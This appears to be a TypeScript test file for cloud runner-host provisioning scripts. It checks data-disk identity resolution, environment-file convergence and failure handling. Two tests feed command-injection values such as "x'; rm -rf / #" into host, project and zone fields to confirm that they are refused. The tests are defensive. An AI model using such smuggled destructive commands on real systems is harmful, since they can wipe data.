const upgrades = aws.slice(aws.indexOf('let previousUpgrade'))
assert.match(upgrades, /encodeUpgradePayload\(\{[^}]*apiUrl: apiUrl as string,/, 'the AWS payload must carry the control plane address')
assert.match(upgrades, /encodeUpgradePayload\(\{[^}]*otlpUrl: otlpUrl as string,/, 'and the collector endpoint beside it')
assert.match(upgrades, /triggers: \[[^\]]*request\.apiUrl,?[^\]]*\]/, 'and the address must re-send it')
assert.match(upgrades, /triggers: \[[^\]]*request\.otlpUrl,?[^\]]*\]/, 'as must the endpoint')
// No backend here: these hosts mount with mount-s3 and their boot script
// writes no such key, so enforcing one would leave every host disagreeing.
assert.doesNotMatch(upgrades, /volumeBackend/)
})
test('a registry proxy host that is not a host is refused before it reaches a root shell', () => {
for (const registryProxyHost of ["x'; rm -rf / #", 'https://registry-proxy.example', 'Registry-Proxy.example']) {
assert.throws(
() => renderUnitEnvironmentPolicyScripts({ apiUrl: 'https://api.boxlite.ai', volumeBackend: 'gcs', registryProxyHost }),
/the registry proxy's host reaches/,
`accepted ${registryProxyHost}`,
)
}
assert.match(
renderUnitEnvironmentPolicyScripts({
apiUrl: 'https://api.boxlite.ai',
volumeBackend: 'gcs',
registryProxyHost: '127.0.0.1:4100',
}).validate,
/'REGISTRY_PROXY_HOST=127\.0\.0\.1:4100'/,
)
})
/*
* The data disks the control plane grows online are named once, in the policy
* the host already runs. The pairing a host reports is the one the disks were
* created under — `runnerDataDiskNameFor` — so the test holds the rendered
* script against that same function, and against what each host actually
* resolves: a loop that crossed two hosts' rows would hand the control plane
* one host's identity for another's disk, which is the failure the fleet table
* exists to make unreachable.
*/
const dataDiskIdentity = (hosts: string[]): RunnerDataDiskIdentity => ({
app: 'boxlite',
stage: 'dev',
project: 'boxlite-gcp-dev',
zone: 'asia-southeast1-b',
hosts,
})
test('each host of the fleet resolves its own data disk, and no other host’s', () => {
const hosts = ['boxlite-dev-runner', 'boxlite-dev-runner-2']
const block = unitEnvironmentBlock({
apiUrl: 'https://api.dev.boxlite.ai',
volumeBackend: 'gcs',
dataDiskIdentity: dataDiskIdentity(hosts),
})
// The whole fleet travels in one script, so per-host is a claim about what a
// host resolves, not about what was rendered for it. Run the block per host
// — BOXLITE_RUNNER_HOST_NAME replaces the metadata server, so nothing here
// reaches the network.
const directory = mkdtempSync('boxlite-unit-env-')
try {
const script = `${block}\nprintf 'RESOLVED=%s\\n' "$runner_data_disk"`
writeFileSync(`${directory}/block.sh`, script)
for (const host of hosts) {
const run = spawnSync('bash', [`${directory}/block.sh`], {
env: { ...process.env, BOXLITE_RUNNER_HOST_NAME: host, BOXLITE_RUNNER_ENV_FILE: `${directory}/runner.env` },
encoding: 'utf8',
})
assert.equal(run.status, 0, run.stderr)
assert.match(
run.stdout,
new RegExp(`RESOLVED=${runnerDataDiskNameFor({ app: 'boxlite', stage: 'dev', host })}\n`),
`${host} resolved another host's disk`,
)
}
} finally {
rmSync(directory, { recursive: true, force: true })
}
})
test('a host the fleet table does not hold is refused rather than defaulted', () => {
const block = unitEnvironmentBlock({
apiUrl: 'https://api.dev.boxlite.ai',
volumeBackend: 'gcs',
dataDiskIdentity: dataDiskIdentity(['boxlite-dev-runner']),
})
const directory = mkdtempSync('boxlite-unit-env-')
try {
writeFileSync(`${directory}/block.sh`, block)
const run = spawnSync('bash', [`${directory}/block.sh`], {
env: { ...process.env, BOXLITE_RUNNER_HOST_NAME: 'someone-elses-host', BOXLITE_RUNNER_ENV_FILE: `${directory}/runner.env` },
encoding: 'utf8',
})
assert.equal(run.status, 1, 'an unknown host must not resolve a disk name at all')
assert.match(run.stderr, /is not one of this stage's runner hosts/)
} finally {
rmSync(directory, { recursive: true, force: true })
}
})
test('a cloud with no data disk names none', () => {
// The transports carry no stage environment, so a host payload has nothing
// to select a row with; the identity is policy-only by construction.
const block = unitEnvironmentBlock({ apiUrl: 'https://api.dev.boxlite.ai', volumeBackend: 'gcs' })
assert.doesNotMatch(block, /RUNNER_DATA_DISK_NAME/)
assert.doesNotMatch(block, /GCP_PROJECT_ID/)
assert.doesNotMatch(block, /GCP_ZONE/)
assert.doesNotMatch(block, /metadata\.google\.internal/)
assert.doesNotMatch(renderHostConvergence(target({ apiUrl: 'https://api.dev.boxlite.ai' })), /RUNNER_DATA_DISK_NAME/)
})
test('a data-disk identity that reaches a root shell is checked wherever it is given', () => {
const bad = (overrides: Partial<RunnerDataDiskIdentity> = {}): RunnerDataDiskIdentity => ({
...dataDiskIdentity(['boxlite-dev-runner']),
...overrides,
})
for (const identity of [
bad({ project: "p'; rm -rf / #" }),
bad({ zone: 'asia-southeast1-b; rm -rf /' }),
bad({ hosts: [] }),
bad({ hosts: ['boxlite-dev-runner*'] }),
bad({ hosts: ['boxlite-dev-runner; rm -rf /'] }),
bad({ hosts: ['boxlite-dev-runner', 'boxlite-dev-runner'] }),
]) {
assert.throws(
() => renderUnitEnvironmentPolicyScripts({ apiUrl: 'https://api.boxlite.ai', volumeBackend: 'gcs', dataDiskIdentity: identity }),
RunnerUpgradeError,
`accepted ${JSON.stringify(identity)}`,
)
}
})
/*
* The end of the quiet-failure chain the parse-level tests cannot see: the
* disk name must actually land in the unit environment file, and the host
* name must actually come from the metadata server. Both were proven live by
* the reviewer's mutation check (deleting the append line, or mistyping the
* metadata URL, left every test green); these two tests pin them.
*/
test('a legacy host is converged by enforce: three keys land in the file, the unit restarts', () => {
const { enforce } = renderUnitEnvironmentPolicyScripts({
apiUrl: 'https://api.dev.boxlite.ai',
volumeBackend: 'gcs',
dataDiskIdentity: dataDiskIdentity(['boxlite-dev-runner']),
})
const directory = mkdtempSync('boxlite-unit-env-')
try {
// The host name comes from the metadata server on a real host — no
// BOXLITE_RUNNER_HOST_NAME here, so the curl branch is the one that runs.
// The stub logs its arguments, which pins the URL and header spelling.
writeFileSync(`${directory}/curl`, `#!/bin/bash\nprintf '%s\\n' "$@" >> ${directory}/curl.log\necho boxlite-dev-runner\n`)
// The convergence restarts the unit on success; a stub records it rather
// than talking to a real systemd.
writeFileSync(`${directory}/systemctl`, `#!/bin/bash\nprintf '%s\\n' "$@" >> ${directory}/systemctl.log\n`)
for (const name of ['curl', 'systemctl']) chmodSync(`${directory}/${name}`, 0o755)
// A host whose boot script predates the three keys: only the API address.
writeFileSync(`${directory}/runner.env`, 'BOXLITE_API_URL=https://api.dev.boxlite.ai/api\n')
writeFileSync(`${directory}/enforce.sh`, enforce)
const run = spawnSync(
'bash',
['-c', `PATH=${directory}:\$PATH; bash ${directory}/enforce.sh; echo EXIT=\$?`],
{
env: { ...process.env, BOXLITE_RUNNER_ENV_FILE: `${directory}/runner.env` },
encoding: 'utf8',
},
)
assert.match(run.stdout, /EXIT=100/, `enforce must grade a successful convergence as 100:\n${run.stdout}${run.stderr}`)
const env = readFileSync(`${directory}/runner.env`, 'utf8')
assert.match(env, /GCP_PROJECT_ID=boxlite-gcp-dev\n/)
assert.match(env, /GCP_ZONE=asia-southeast1-b\n/)
assert.match(env, new RegExp(`RUNNER_DATA_DISK_NAME=${runnerDataDiskNameFor({ app: 'boxlite', stage: 'dev', host: 'boxlite-dev-runner' })}\n`))
assert.match(env, /BOXLITE_API_URL=https:\/\/api\.dev\.boxlite\.ai\/api\n/, 'the pre-existing lines must survive the rewrite')
assert.match(readFileSync(`${directory}/curl.log`, 'utf8'), /instance\/name/, 'the host name must come from the metadata server')
assert.match(
readFileSync(`${directory}/systemctl.log`, 'utf8'),
/restart\nboxlite-runner/,
'the unit must restart onto the new environment',
)
} finally {
rmSync(directory, { recursive: true, force: true })
}
})
test('a metadata outage fails the policy loudly rather than converging onto nothing', () => {
// curl failing bubbles out of the assignment under `set -e` with curl's own
// exit code — outside the 100/101 vocabulary, so OS Config reports an
// execution error and retries. That is the intended error state: without a
// host name the policy can claim neither compliance nor a disk of its own,
// and defaulting to another row would hand the control plane another
// host's identity.
const { validate } = renderUnitEnvironmentPolicyScripts({
apiUrl: 'https://api.dev.boxlite.ai',
volumeBackend: 'gcs',
dataDiskIdentity: dataDiskIdentity(['boxlite-dev-runner']),
})
const directory = mkdtempSync('boxlite-unit-env-')
try {
writeFileSync(`${directory}/curl`, '#!/bin/bash\nexit 7\n')
chmodSync(`${directory}/curl`, 0o755)
writeFileSync(`${directory}/validate.sh`, validate)
const run = spawnSync('bash', ['-c', `PATH=${directory}:\$PATH; bash ${directory}/validate.sh; echo EXIT=\$?`], {
encoding: 'utf8',
})
assert.match(run.stdout, /EXIT=7/, `a metadata outage must fail loudly, not quietly:\n${run.stdout}${run.stderr}`)
} finally {
rmSync(directory, { recursive: true, force: true })
}
})
test('an unknown host fails validate as an execution error, before any compliance verdict', () => {
// The fleet table selects before `unit_environment_settled` runs, so even a
// host with no env file yet is refused outright: exit 1, outside the
// 100/101 vocabulary. Loud, and not gradable as compliant.
const { validate } = renderUnitEnvironmentPolicyScripts({
apiUrl: 'https://api.dev.boxlite.ai',
volumeBackend: 'gcs',
dataDiskIdentity: dataDiskIdentity(['boxlite-dev-runner']),
})
const directory = mkdtempSync('boxlite-unit-env-')
try {
writeFileSync(`${directory}/validate.sh`, validate)
const run = spawnSync('bash', [`${directory}/validate.sh`], {
env: { ...process.env, BOXLITE_RUNNER_HOST_NAME: 'someone-elses-host', BOXLITE_RUNNER_ENV_FILE: '/nonexistent/runner.env' },
encoding: 'utf8',
})
assert.equal(run.status, 1, `an unknown host must fail validate outright:\n${run.stdout}${run.stderr}`)
assert.match(run.stderr, /is not one of this stage's runner hosts/)
} finally {
rmSync(directory, { recursive: true, force: true })
}
})